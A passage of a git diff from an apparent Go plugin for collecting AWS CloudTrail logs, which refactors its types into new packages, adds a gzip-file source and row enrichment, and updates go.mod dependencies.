type=BYTE_ARRAY, convertedtype=UTF8"` - TpSourceType string `json:"tp_source_type" parquet:"name=tp_source_type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - TpSourceName string `json:"tp_source_name" parquet:"name=tp_source_name, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - TpSourceLocation *string `json:"tp_source_location" parquet:"name=tp_source_location, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - TpIngestTimestamp UnixMillis `json:"tp_ingest_timestamp" parquet:"name=tp_ingest_timestamp, type=INT64, convertedtype=TIMESTAMP_MILLIS"` - - // Standardized - TpTimestamp UnixMillis `json:"tp_timestamp" parquet:"name=tp_timestamp, type=INT64, convertedtype=TIMESTAMP_MILLIS"` - TpSourceIP *string `json:"tp_source_ip" parquet:"name=tp_source_ip, type=BYTE_ARRAY, convertedtype=UTF8"` - TpDestinationIP *string `json:"tp_destination_ip" parquet:"name=tp_destination_ip, type=BYTE_ARRAY, convertedtype=UTF8"` - - // Hive fields - TpCollection string `json:"tp_collection" parquet:"name=tp_collection, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - TpConnection string `json:"tp_connection" parquet:"name=tp_connection, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - TpYear int32 `json:"tp_year" parquet:"name=tp_year, type=INT32, convertedtype=INT32"` - TpMonth int32 `json:"tp_month" parquet:"name=tp_month, type=INT32, convertedtype=INT32"` - TpDay int32 `json:"tp_day" parquet:"name=tp_day, type=INT32, convertedtype=INT32"` - - // Searchable - TpAkas []string `json:"tp_akas,omitempty" parquet:"name=tp_akas, type=LIST, convertedtype=LIST, valuetype=BYTE_ARRAY, valueconvertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - TpIps []string `json:"tp_ips,omitempty" parquet:"name=tp_ips, type=LIST, convertedtype=LIST, valuetype=BYTE_ARRAY, valueconvertedtype=UTF8"` - TpTags []string `json:"tp_tags,omitempty" parquet:"name=tp_tags, type=LIST, convertedtype=LIST, valuetype=BYTE_ARRAY, valueconvertedtype=UTF8"` - TpDomains []string `json:"tp_domains,omitempty" parquet:"name=tp_domains, type=LIST, convertedtype=LIST, valuetype=BYTE_ARRAY, valueconvertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - TpEmails []string `json:"tp_emails,omitempty" parquet:"name=tp_emails, type=LIST, convertedtype=LIST, valuetype=BYTE_ARRAY, valueconvertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - TpUsernames []string `json:"tp_usernames,omitempty" parquet:"name=tp_usernames, type=LIST, convertedtype=LIST, valuetype=BYTE_ARRAY, valueconvertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - - AdditionalEventData *JSONString `json:"additionalEventData,omitempty" parquet:"name=additional_event_data, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - APIVersion *string `json:"apiVersion,omitempty" parquet:"name=api_version, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - AwsRegion string `json:"awsRegion" parquet:"name=aws_region, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - ErrorCode *string `json:"errorCode,omitempty" parquet:"name=error_code, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - ErrorMessage *string `json:"errorMessage,omitempty" parquet:"name=error_message, type=BYTE_ARRAY, convertedtype=UTF8"` - EventID string `json:"eventID" parquet:"name=event_id, type=BYTE_ARRAY, convertedtype=UTF8"` - EventName string `json:"eventName" parquet:"name=event_name, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - EventSource string `json:"eventSource" parquet:"name=event_source, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - EventTime UnixMillis `json:"eventTime" parquet:"name=event_time, type=INT64, convertedtype=TIMESTAMP_MILLIS"` - EventType string `json:"eventType" parquet:"name=event_type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - EventVersion string `json:"eventVersion" parquet:"name=event_version, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - ManagementEvent *bool `json:"managementEvent,omitempty" parquet:"name=management_event, type=BOOLEAN"` - ReadOnly *bool `json:"readOnly,omitempty" parquet:"name=read_only, type=BOOLEAN"` - RecipientAccountId string `json:"recipientAccountId,omitempty" parquet:"name=recipient_account_id, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - RequestID *string `json:"requestID,omitempty" parquet:"name=request_id, type=BYTE_ARRAY, convertedtype=UTF8"` - RequestParameters *JSONString `json:"requestParameters,omitempty" parquet:"name=request_parameters, type=BYTE_ARRAY, convertedtype=UTF8"` - Resources []*Resource `json:"resources,omitempty" parquet:"name=resources, type=LIST"` - ResponseElements *JSONString `json:"responseElements,omitempty" parquet:"name=response_elements, type=BYTE_ARRAY, convertedtype=UTF8"` - ServiceEventDetails *JSONString `json:"serviceEventDetails,omitempty" parquet:"name=service_event_details, type=BYTE_ARRAY, convertedtype=UTF8"` - SharedEventID *string `json:"sharedEventID,omitempty" parquet:"name=shared_event_id, type=BYTE_ARRAY, convertedtype=UTF8"` - SourceIPAddress *string `json:"sourceIPAddress,omitempty" parquet:"name=source_ip_address, type=BYTE_ARRAY, convertedtype=UTF8"` - UserAgent *string `json:"userAgent,omitempty" parquet:"name=user_agent, type=BYTE_ARRAY, convertedtype=UTF8"` - UserIdentity UserIdentity `json:"userIdentity" parquet:"name=user_identity, type=STRUCT"` - VpcEndpointId string `json:"vpcEndpointId,omitempty" parquet:"name=vpc_endpoint_id, type=BYTE_ARRAY, convertedtype=UTF8"` - EventCategory string `json:"eventCategory,omitempty" parquet:"name=event_category, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - // TODO - this looks like a bool, but is in the JSON as a string ... should we convert it? - SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty" parquet:"name=session_credential_from_console, type=BYTE_ARRAY, convertedtype=UTF8"` - EdgeDeviceDetails *JSONString `json:"edgeDeviceDetails,omitempty" parquet:"name=edge_device_details, type=BYTE_ARRAY, convertedtype=UTF8"` - TLSDetails *TLSDetails `json:"tlsDetails,omitempty" parquet:"name=tls_details, type=STRUCT"` -} - -type UserIdentity struct { - Type string `json:"type" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id, type=BYTE_ARRAY, convertedtype=UTF8"` - ARN *string `json:"arn,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` - AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8"` - AccessKeyId *string `json:"accessKeyId,omitempty" parquet:"name=access_key_id, type=BYTE_ARRAY, convertedtype=UTF8"` - UserName *string `json:"userName,omitempty" parquet:"name=user_name, type=BYTE_ARRAY, convertedtype=UTF8"` - SessionContext *SessionContext `json:"sessionContext,omitempty" parquet:"name=session_context, type=STRUCT"` - InvokedBy *string `json:"invokedBy,omitempty" parquet:"name=invoked_by, type=BYTE_ARRAY, convertedtype=UTF8"` - IdentityProvider *string `json:"identityProvider,omitempty" parquet:"name=identity_provider, type=BYTE_ARRAY, convertedtype=UTF8"` -} - -type Resource struct { - ARN *string `json:"ARN,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` - AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - Type *string `json:"type,omitempty" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` -} - -type SessionContext struct { - Attributes *SessionAttributes `json:"attributes,omitempty" parquet:"name=attributes, type=STRUCT"` - SessionIssuer *SessionIssuer `json:"sessionIssuer,omitempty" parquet:"name=session_issuer, type=STRUCT"` - WebIdFederationData *WebIdFederationData `json:"webIdFederationData,omitempty" parquet:"name=web_id_federation_data, type=STRUCT"` - EC2RoleDelivery *string `json:"ec2RoleDelivery,omitempty" parquet:"name=ec2_role_delivery, type=BYTE_ARRAY, convertedtype=UTF8"` -} - -type SessionAttributes struct { - MfaAuthenticated *string `json:"mfaAuthenticated,omitempty" parquet:"name=mfa_authenticated, type=BYTE_ARRAY, convertedtype=UTF8"` - CreationDate *UnixMillis `json:"creationDate,omitempty" parquet:"name=creation_date, type=INT64, convertedtype=TIMESTAMP_MILLIS"` -} - -type SessionIssuer struct { - Type *string `json:"type,omitempty" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id, type=BYTE_ARRAY, convertedtype=UTF8"` - ARN *string `json:"arn,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` - AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - UserName *string `json:"userName,omitempty" parquet:"name=user_name, type=BYTE_ARRAY, convertedtype=UTF8"` -} - -type WebIdFederationData struct { - FederatedProvider *string `json:"federatedProvider,omitempty" parquet:"name=federated_provider, type=BYTE_ARRAY, convertedtype=UTF8"` - Attributes *JSONString `json:"attributes,omitempty" parquet:"name=attributes, type=BYTE_ARRAY, convertedtype=UTF8"` -} - -type TLSDetails struct { - TLSVersion *string `json:"tlsVersion,omitempty" parquet:"name=tls_version, type=BYTE_ARRAY, convertedtype=UTF8"` - CipherSuite *string `json:"cipherSuite,omitempty" parquet:"name=cipher_suite, type=BYTE_ARRAY, convertedtype=UTF8"` - //ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty" parquet:"name=client_provided_host_header, type=BYTE_ARRAY, convertedtype=UTF8"` - ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty" parquet:"name=client_provided_host_header, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN"` -} diff --git a/aws/plugin.go b/aws/plugin.go index d81f514d..e1adaa00 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -2,10 +2,11 @@ package aws import ( "context" + "github.com/turbot/tailpipe-plugin-aws/aws_collection" + "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" "log" - "log/slog" ) type Plugin struct { @@ -25,23 +26,25 @@ func (t *Plugin) Collect(req *proto.CollectRequest) error { } func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { - onRow := func(row any) { - t.OnRow(row, req) - } + // todo config parsing, identify collection type etc. - //create collection - collection := &AwsCloudTrailLogCollection{ - paths: []string{"/Users/kai/Downloads/flaws_cloudtrail_logs"}, - } + // TODO parse config and use to build collection + // tactical - create collection + sourceConfig := aws_source.CompressedFileSourceConfig{Paths: []string{"/Users/kai/Downloads/flaws_cloudtrail_logs"}} + var source = aws_source.NewCompressedFileSourceConfig(sourceConfig) - // started hook + collectionConfig := aws_collection.CloudTrailLogCollectionConfig{} + var col = aws_collection.NewCloudTrailLogCollection(collectionConfig, source) + + // add ourselves as an observer + col.AddObserver(t) + + // signal we have started t.OnStarted(req) - err := collection.Collect(ctx, onRow) + // tell the collection to start collecting - this is a blocking call + err := col.Collect(ctx, req) - // completion hook - if err := t.OnComplete(req, err); err != nil { - // TODO #error - slog.Error("error notifying observers of completion", "error", err) - } + // signal we have completed + t.OnComplete(req, err) } diff --git a/aws/types.go b/aws/types.go deleted file mode 100644 index b86431e6..00000000 --- a/aws/types.go +++ /dev/null @@ -1,42 +0,0 @@ -package aws - -import ( - "encoding/json" - "time" -) - -type TimeMillis int64 - -func (t *TimeMillis) UnmarshalJSON(b []byte) error { - var timeStr string - if err := json.Unmarshal(b, &timeStr); err != nil { - return err - } - tt, err := time.Parse(time.RFC3339, timeStr) - if err != nil { - return err - } - *t = TimeMillis(tt.UnixNano() / 1e6) // Convert nanoseconds to milliseconds - return nil -} - -type UnixMillis int64 - -// UnmarshalJSON converts an ISO 8601 formatted time string to Unix milliseconds. -func (u *UnixMillis) UnmarshalJSON(data []byte) error { - // Parse the string to time.Time - t, err := time.Parse(`"`+time.RFC3339+`"`, string(data)) - if err != nil { - return err - } - // Convert to Unix milliseconds and assign to UnixMillis - *u = UnixMillis(t.UnixNano() / int64(time.Millisecond)) - return nil -} - -type JSONString string - -func (s *JSONString) UnmarshalJSON(data []byte) error { - *s = JSONString(data) - return nil -} diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go new file mode 100644 index 00000000..15e63d92 --- /dev/null +++ b/aws_collection/cloudtrail_log_collection.go @@ -0,0 +1,95 @@ +package aws_collection + +import ( + "fmt" + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-aws/util" + "github.com/turbot/tailpipe-plugin-sdk/collection" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/plugin" + "strings" + "time" + //"github.com/turbot/tailpipe-plugin-sdk/collection" + //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" + //"github.com/turbot/tailpipe-plugin-sdk/source" +) + +type CloudTrailLogCollection struct { + // all collections must embed collection.Base + // this add observer and enrich functions + collection.Base + + // the collection config + Config CloudTrailLogCollectionConfig +} + +func NewCloudTrailLogCollection(config CloudTrailLogCollectionConfig, source plugin.Source) *CloudTrailLogCollection { + l := &CloudTrailLogCollection{ + Config: config, + } + // Init sets the Source property on Base and adds us as an observer to it + // It also sets us as the Enricher property on Base + l.Base.Init(source, l) + + return l +} + +func (c *CloudTrailLogCollection) Identifier() string { + return "aws_cloudtrail_log" +} + +func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields map[string]any) (any, error) { + // row must be an AWSCloudTrail + record, ok := row.(aws_types.AWSCloudTrail) + if !ok { + return nil, fmt.Errorf("invalid row type %T, expected AWSCloudTrail", row) + } + + // Record standardization + record.TpID = xid.New().String() + record.TpSourceType = "aws_cloudtrail_log" + record.TpTimestamp = record.EventTime + record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + if record.SourceIPAddress != nil { + record.TpSourceIP = record.SourceIPAddress + record.TpIps = append(record.TpIps, *record.SourceIPAddress) + } + for _, resource := range record.Resources { + if resource.ARN != nil { + newAkas := util.AwsAkasFromArn(*resource.ARN) + record.TpAkas = append(record.TpAkas, newAkas...) + } + } + // If it's an AKIA, then record that as an identity. Do not record ASIA* + // keys etc. + if record.UserIdentity.AccessKeyId != nil { + if strings.HasPrefix(*record.UserIdentity.AccessKeyId, "AKIA") { + record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.AccessKeyId) + } + } + if record.UserIdentity.UserName != nil { + record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.UserName) + } + + // Hive fields + record.TpCollection = "default" // TODO - should be based on the definition in HCL + record.TpConnection = record.RecipientAccountId + record.TpYear = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Year()) + record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) + record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) + + // now add an enrichment fields provided by the source + if sourceEnrichmentFields != nil { + if sourceLocation, ok := sourceEnrichmentFields["sourceLocation"]; ok { + // verify it is a string + sourceStr, ok := sourceLocation.(string) + if ok { + return nil, fmt.Errorf("sourceLocation is not a string") + } + record.TpSourceLocation = &sourceStr + } + } + return row, nil + +} diff --git a/aws_collection/cloudtrail_log_collection_config.go b/aws_collection/cloudtrail_log_collection_config.go new file mode 100644 index 00000000..6045d9e4 --- /dev/null +++ b/aws_collection/cloudtrail_log_collection_config.go @@ -0,0 +1,3 @@ +package aws_collection + +type CloudTrailLogCollectionConfig struct{} diff --git a/aws/aws_cloudtrail_log_collection_test.go b/aws_collection/cloudtrail_log_collection_test.go similarity index 60% rename from aws/aws_cloudtrail_log_collection_test.go rename to aws_collection/cloudtrail_log_collection_test.go index 5dbeb67c..46b5f63e 100644 --- a/aws/aws_cloudtrail_log_collection_test.go +++ b/aws_collection/cloudtrail_log_collection_test.go @@ -1,4 +1,4 @@ -package aws +package aws_collection //import ( // "testing" @@ -7,5 +7,5 @@ package aws //) // //func TestConformance(t *testing.T) { -// collection.RunConformanceTests(t, &AwsCloudTrailLogCollection{}) +// collection.RunConformanceTests(t, &CloudTrailLogCollection{}) //} diff --git a/aws_collection/types.go b/aws_collection/types.go new file mode 100644 index 00000000..33ff63ff --- /dev/null +++ b/aws_collection/types.go @@ -0,0 +1 @@ +package aws_collection diff --git a/aws_source/compressed_file_source.go b/aws_source/compressed_file_source.go new file mode 100644 index 00000000..6fba099a --- /dev/null +++ b/aws_source/compressed_file_source.go @@ -0,0 +1,92 @@ +package aws_source + +import ( + "compress/gzip" + "context" + "encoding/json" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" + "github.com/turbot/tailpipe-plugin-sdk/plugin" + "github.com/turbot/tailpipe-plugin-sdk/source" + "os" + "path/filepath" +) + +// CompressedFileSource source is responsible for collecting audit logs from Turbot Pipes API +type CompressedFileSource struct { + source.Base + Config CompressedFileSourceConfig +} + +func (c *CompressedFileSource) Identifier() string { + return "aws_compressed_file_source" +} + +func NewCompressedFileSourceConfig(config CompressedFileSourceConfig) plugin.Source { + return &CompressedFileSource{ + Config: config, + } +} + +func (c *CompressedFileSource) Collect(ctx context.Context, req *proto.CollectRequest) error { + // tactical + //List all gz files in each path directory and call ExtractArtifactRows for each + for _, path := range c.Config.Paths { + // list gz files on path + files, err := filepath.Glob(filepath.Join(path, "*.gz")) + if err != nil { + return err + } + + for _, file := range files { + select { + case <-ctx.Done(): + return ctx.Err() + default: + // Call ExtractArtifactRows for each gz file + if err := c.ExtractArtifactRows(ctx, req, file); err != nil { + return err + } + } + } + } + return nil +} + +func (c *CompressedFileSource) ExtractArtifactRows(ctx context.Context, req *proto.CollectRequest, inputPath string) error { + gzFile, err := os.Open(inputPath) + if err != nil { + return err + } + defer gzFile.Close() + + gzReader, err := gzip.NewReader(gzFile) + if err != nil { + return err + } + defer gzReader.Close() + + var log aws_types.AWSCloudTrailBatch + if err := json.NewDecoder(gzReader).Decode(&log); err != nil { + return err + } + + for _, record := range log.Records { + // check context cancellation + if ctx.Err() != nil { + return ctx.Err() + } + // populate enrichment fields the the source is aware of + // - in this case the source location + sourceEnrichmentFields := map[string]interface{}{ + constants.TpSourceLocation: inputPath, + } + + // call base OnRow + c.OnRow(req, record, sourceEnrichmentFields) + } + + return nil + +} diff --git a/aws_source/compressed_file_source_config.go b/aws_source/compressed_file_source_config.go new file mode 100644 index 00000000..08e980b9 --- /dev/null +++ b/aws_source/compressed_file_source_config.go @@ -0,0 +1,5 @@ +package aws_source + +type CompressedFileSourceConfig struct { + Paths []string +} diff --git a/aws/aws_s3_bucket_source.go b/aws_source/s3_bucket_source.go similarity index 99% rename from aws/aws_s3_bucket_source.go rename to aws_source/s3_bucket_source.go index b8369106..7a1c8dfd 100644 --- a/aws/aws_s3_bucket_source.go +++ b/aws_source/s3_bucket_source.go @@ -1,4 +1,4 @@ -package aws +package aws_source import ( "context" diff --git a/aws/aws_s3_bucket_source_test.go b/aws_source/s3_bucket_source_test.go similarity index 90% rename from aws/aws_s3_bucket_source_test.go rename to aws_source/s3_bucket_source_test.go index e85eb826..eacb7994 100644 --- a/aws/aws_s3_bucket_source_test.go +++ b/aws_source/s3_bucket_source_test.go @@ -1,4 +1,4 @@ -package aws +package aws_source // //import ( diff --git a/aws_types/aws_cloudtrail.go b/aws_types/aws_cloudtrail.go new file mode 100644 index 00000000..7675be0c --- /dev/null +++ b/aws_types/aws_cloudtrail.go @@ -0,0 +1,94 @@ +package aws_types + +import ( + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" +) + +type AWSCloudTrailBatch struct { + Records []AWSCloudTrail `json:"Records"` +} + +type AWSCloudTrail struct { + // embed required enrichment fields + enrichment.EnrichmentFields + + AdditionalEventData *helpers.JSONString `json:"additionalEventData,omitempty"` + APIVersion *string `json:"apiVersion,omitempty"` + AwsRegion string `json:"awsRegion"` + ErrorCode *string `json:"errorCode,omitempty"` + ErrorMessage *string `json:"errorMessage,omitempty"` + EventID string `json:"eventID"` + EventName string `json:"eventName"` + EventSource string `json:"eventSource"` + EventTime helpers.UnixMillis `json:"eventTime"` + EventType string `json:"eventType"` + EventVersion string `json:"eventVersion"` + ManagementEvent *bool `json:"managementEvent,omitempty"` + ReadOnly *bool `json:"readOnly,omitempty"` + RecipientAccountId string `json:"recipientAccountId,omitempty"` + RequestID *string `json:"requestID,omitempty"` + RequestParameters *helpers.JSONString `json:"requestParameters,omitempty"` + Resources []*Resource `json:"resources,omitempty"` + ResponseElements *helpers.JSONString `json:"responseElements,omitempty"` + ServiceEventDetails *helpers.JSONString `json:"serviceEventDetails,omitempty"` + SharedEventID *string `json:"sharedEventID,omitempty"` + SourceIPAddress *string `json:"sourceIPAddress,omitempty"` + UserAgent *string `json:"userAgent,omitempty"` + UserIdentity UserIdentity `json:"userIdentity"` + VpcEndpointId string `json:"vpcEndpointId,omitempty"` + EventCategory string `json:"eventCategory,omitempty"` + SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty"` + EdgeDeviceDetails *helpers.JSONString `json:"edgeDeviceDetails,omitempty"` + TLSDetails *TLSDetails `json:"tlsDetails,omitempty"` +} + +type UserIdentity struct { + Type string `json:"type" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` + PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id, type=BYTE_ARRAY, convertedtype=UTF8"` + ARN *string `json:"arn,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` + AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8"` + AccessKeyId *string `json:"accessKeyId,omitempty" parquet:"name=access_key_id, type=BYTE_ARRAY, convertedtype=UTF8"` + UserName *string `json:"userName,omitempty" parquet:"name=user_name, type=BYTE_ARRAY, convertedtype=UTF8"` + SessionContext *SessionContext `json:"sessionContext,omitempty" parquet:"name=session_context, type=STRUCT"` + InvokedBy *string `json:"invokedBy,omitempty" parquet:"name=invoked_by, type=BYTE_ARRAY, convertedtype=UTF8"` + IdentityProvider *string `json:"identityProvider,omitempty" parquet:"name=identity_provider, type=BYTE_ARRAY, convertedtype=UTF8"` +} + +type Resource struct { + ARN *string `json:"ARN,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` + AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` + Type *string `json:"type,omitempty" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` +} + +type SessionContext struct { + Attributes *SessionAttributes `json:"attributes,omitempty" parquet:"name=attributes, type=STRUCT"` + SessionIssuer *SessionIssuer `json:"sessionIssuer,omitempty" parquet:"name=session_issuer, type=STRUCT"` + WebIdFederationData *WebIdFederationData `json:"webIdFederationData,omitempty" parquet:"name=web_id_federation_data, type=STRUCT"` + EC2RoleDelivery *string `json:"ec2RoleDelivery,omitempty" parquet:"name=ec2_role_delivery, type=BYTE_ARRAY, convertedtype=UTF8"` +} + +type SessionAttributes struct { + MfaAuthenticated *string `json:"mfaAuthenticated,omitempty" parquet:"name=mfa_authenticated, type=BYTE_ARRAY, convertedtype=UTF8"` + CreationDate *helpers.UnixMillis `json:"creationDate,omitempty" parquet:"name=creation_date, type=INT64, convertedtype=TIMESTAMP_MILLIS"` +} + +type SessionIssuer struct { + Type *string `json:"type,omitempty" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` + PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id, type=BYTE_ARRAY, convertedtype=UTF8"` + ARN *string `json:"arn,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` + AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` + UserName *string `json:"userName,omitempty" parquet:"name=user_name, type=BYTE_ARRAY, convertedtype=UTF8"` +} + +type WebIdFederationData struct { + FederatedProvider *string `json:"federatedProvider,omitempty" parquet:"name=federated_provider, type=BYTE_ARRAY, convertedtype=UTF8"` + Attributes *helpers.JSONString `json:"attributes,omitempty" parquet:"name=attributes, type=BYTE_ARRAY, convertedtype=UTF8"` +} + +type TLSDetails struct { + TLSVersion *string `json:"tlsVersion,omitempty" parquet:"name=tls_version, type=BYTE_ARRAY, convertedtype=UTF8"` + CipherSuite *string `json:"cipherSuite,omitempty" parquet:"name=cipher_suite, type=BYTE_ARRAY, convertedtype=UTF8"` + //ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty" parquet:"name=client_provided_host_header, type=BYTE_ARRAY, convertedtype=UTF8"` + ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty" parquet:"name=client_provided_host_header, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN"` +} diff --git a/go.mod b/go.mod index d02d3154..fa07450e 100644 --- a/go.mod +++ b/go.mod @@ -6,47 +6,39 @@ toolchain go1.22.3 replace github.com/turbot/tailpipe-plugin-sdk => ../tailpipe-plugin-sdk -require ( - github.com/aws/aws-sdk-go-v2/config v1.27.9 - github.com/aws/aws-sdk-go-v2/service/s3 v1.53.0 - github.com/turbot/tailpipe-plugin-sdk v0.0.0 -) +require github.com/turbot/tailpipe-plugin-sdk v0.0.0 require ( + github.com/Masterminds/semver/v3 v3.2.1 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect - github.com/aws/aws-sdk-go-v2 v1.26.0 // indirect - github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.1 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.17.9 // indirect - github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.0 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4 // indirect - github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect - github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.4 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.6 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.6 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.4 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.20.3 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.3 // indirect - github.com/aws/aws-sdk-go-v2/service/sts v1.28.5 // indirect - github.com/aws/smithy-go v1.20.1 // indirect - github.com/fatih/color v1.7.0 // indirect + github.com/aws/aws-sdk-go v1.44.183 // indirect + github.com/btubbs/datetime v0.1.1 // indirect + github.com/fatih/color v1.15.0 // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/go-cmp v0.6.0 // indirect - github.com/hashicorp/go-hclog v0.14.1 // indirect + github.com/hashicorp/go-hclog v1.6.2 // indirect github.com/hashicorp/go-plugin v1.6.1 // indirect github.com/hashicorp/yamux v0.1.1 // indirect - github.com/mattn/go-colorable v0.1.4 // indirect - github.com/mattn/go-isatty v0.0.10 // indirect - github.com/mitchellh/go-testing-interface v0.0.0-20171004221916-a61a99592b77 // indirect + github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f // indirect + github.com/jmespath/go-jmespath v0.4.0 // indirect + github.com/logrusorgru/aurora v2.0.3+incompatible // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.19 // indirect + github.com/mattn/go-runewidth v0.0.13 // indirect + github.com/mitchellh/go-testing-interface v1.14.1 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/oklog/run v1.0.0 // indirect + github.com/olekukonko/tablewriter v0.0.5 // indirect + github.com/rivo/uniseg v0.2.0 // indirect github.com/tkrajina/go-reflector v0.5.6 // indirect - github.com/turbot/go-kit v0.9.0 // indirect - golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 // indirect - golang.org/x/net v0.22.0 // indirect - golang.org/x/sys v0.18.0 // indirect + github.com/turbot/go-kit v0.10.0-rc.0 // indirect + github.com/turbot/pipe-fittings v1.4.1 // indirect + github.com/turbot/steampipe-plugin-code v0.7.0 // indirect + golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect + golang.org/x/net v0.23.0 // indirect + golang.org/x/sys v0.19.0 // indirect golang.org/x/text v0.14.0 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda // indirect google.golang.org/grpc v1.64.0 // indirect google.golang.org/protobuf v1.34.2 // indirect ) diff 